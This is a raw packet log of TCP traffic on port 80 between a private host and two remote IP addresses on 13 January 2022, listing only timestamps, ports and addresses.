Jan 13, 2022 20:50:24.769416094 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.769438028 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.769473076 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.770096064 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.770133972 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.770158052 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.770180941 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.770181894 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.770222902 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.770772934 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.770809889 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.770853996 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.825601101 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.825644016 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.825669050 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.825695992 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.825797081 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.826828003 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.826862097 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.826885939 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.826910973 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.826976061 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.827683926 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.827713966 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.827780962 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.882312059 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.882355928 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.882375956 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.882395983 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.882477045 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.882553101 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.882680893 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.882710934 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.882735968 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.882761002 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.882772923 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.882816076 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.883330107 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.883363962 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.883424044 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.938671112 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.938713074 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.938736916 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.938760996 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.938869953 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.938910007 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.939694881 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.939733982 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.939757109 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.939779997 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.939806938 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.939830065 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.940300941 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.940334082 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.940355062 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.940375090 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.940426111 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.940454006 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.994659901 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.994699955 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.994724035 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.994745970 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.994834900 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.994894981 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.996726036 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.996762991 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.996912003 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.997294903 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.997328043 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.997353077 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.997378111 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.997404099 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.997416973 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.997467995 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.997535944 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.997596979 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.052406073 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.052438021 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.052454948 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.052472115 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.052542925 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.052609921 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.052879095 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.052915096 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.052995920 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.053150892 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.053236961 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.053252935 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.053270102 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.053282976 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.053317070 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.053400993 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.053442001 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.053483963 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.108613968 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.108633995 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.108647108 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.108659983 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.108851910 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.108967066 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.108985901 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.109002113 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.109018087 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.109046936 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.109081030 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.109174967 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.109194040 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.109210014 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.109237909 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.109266996 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.109303951 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.137599945 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.166167974 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.166196108 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.166239023 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.166255951 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.166270018 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.166305065 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.167340994 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.167361975 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.167378902 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.167393923 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.167407036 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.167427063 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.167994022 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.168075085 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.168092966 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.168108940 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.168124914 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.168167114 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.172194958 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.172215939 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.172276974 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.222167969 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.222212076 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.222239017 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.222265005 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.222338915 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.222417116 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.224127054 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.224282026 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.226061106 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.226135015 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.226166964 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.226182938 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.226222992 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.226278067 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.228745937 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.228782892 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.228862047 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.228912115 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.278558016 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.278598070 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.278623104 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.278646946 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.278660059 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.278704882 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.282303095 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.282336950 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.282357931 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.282361031 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.282388926 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.282416105 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.286223888 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.286259890 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.286303043 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.286350012 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.335541964 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.335576057 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.335601091 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.335613966 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.335812092 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.335860968 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.337961912 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.337995052 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.338057041 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.338426113 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.342525959 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.342556000 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.342580080 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.391350031 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.391383886 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.391411066 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.391437054 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.391450882 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.391477108 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.394043922 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.394078016 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.394125938 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.398420095 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.398453951 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.398499012 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.456037045 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.456074953 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.456099987 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.456100941 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.456125975 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.456156969 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.456192970 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.456219912 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.456243992 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.456253052 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.456269026 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.456290960 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.513725996 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.513761044 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.513781071 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.513802052 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.513953924 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.513993025 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.514027119 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.514050961 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.514055967 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.514076948 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.514103889 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.514291048 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.514318943 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.514344931 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.576852083 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.576909065 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.576922894 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.576932907 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.576957941 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.577034950 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.577199936 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.577229977 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.577256918 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.577292919 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.577318907 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.577339888 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.577644110 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.577675104 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.577692986 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.638290882 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.638324022 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.638345003 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.638366938 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.638407946 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.638432980 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.639020920 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.639045000 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:25.639074087 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.639097929 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.639143944 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:25.694675922 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:27.214399099 CET	49732	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.270179987 CET	80	49732	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:27.270283937 CET	49732	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.270426035 CET	49732	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.270441055 CET	49732	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.328269005 CET	80	49732	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:27.328378916 CET	80	49732	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:27.376590967 CET	80	49732	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:27.376694918 CET	49732	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.376889944 CET	49732	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.407216072 CET	49733	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.434161901 CET	80	49732	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:27.462735891 CET	80	49733	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:27.466113091 CET	49733	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.466201067 CET	49733	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.467529058 CET	49733	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.522937059 CET	80	49733	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:27.583570004 CET	80	49733	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:27.583708048 CET	49733	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.616906881 CET	49733	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.653960943 CET	49734	80	192.168.2.5	54.38.220.85
Jan 13, 2022 20:50:27.673909903 CET	80	49734	54.38.220.85	192.168.2.5
Jan 13, 2022 20:50:27.674942017 CET	49734	80	192.168.2.5	54.38.220.85
Jan 13, 2022 20:50:27.675416946 CET	49734	80	192.168.2.5	54.38.220.85
Jan 13, 2022 20:50:27.677886009 CET	80	49733	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:27.697433949 CET	80	49734	54.38.220.85	192.168.2.5
Jan 13, 2022 20:50:27.697484970 CET	80	49734	54.38.220.85	192.168.2.5
Jan 13, 2022 20:50:27.728028059 CET	49735	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.783957958 CET	80	49735	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:27.784041882 CET	49735	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.784162045 CET	49735	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.784181118 CET	49735	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.841098070 CET	80	49735	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:27.859260082 CET	49734	80	192.168.2.5	54.38.220.85
Jan 13, 2022 20:50:27.891836882 CET	80	49735	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:27.891961098 CET	49735	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.892797947 CET	49735	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.945130110 CET	49736	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:27.948745012 CET	80	49735	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.002074003 CET	80	49736	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.002446890 CET	49736	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.002635002 CET	49736	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.002667904 CET	49736	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.058588982 CET	80	49736	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.109971046 CET	80	49736	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.110085011 CET	49736	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.110181093 CET	49736	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.158195972 CET	49737	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.171567917 CET	80	49736	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.219110012 CET	80	49737	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.219228983 CET	49737	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.219424009 CET	49737	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.219449043 CET	49737	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.275854111 CET	80	49737	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.355863094 CET	80	49737	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.356112957 CET	49737	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.359513044 CET	49737	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.390461922 CET	49738	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.416815996 CET	80	49737	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.449992895 CET	80	49738	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.450084925 CET	49738	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.450202942 CET	49738	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.450216055 CET	49738	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.505992889 CET	80	49738	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.557878971 CET	80	49738	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.557957888 CET	49738	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.558187008 CET	49738	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.585710049 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.618024111 CET	80	49738	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.642036915 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.642167091 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.642266035 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.739885092 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.741779089 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.741799116 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.741815090 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.741831064 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.741862059 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.741880894 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.741895914 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.741949081 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.741957903 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.743102074 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.743120909 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.743136883 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.743154049 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.743196964 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.743227959 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.797184944 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.797210932 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.797226906 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.797244072 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.797319889 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.797590971 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.797669888 CET	80	49739	45.135.233.182	192.168.2.5
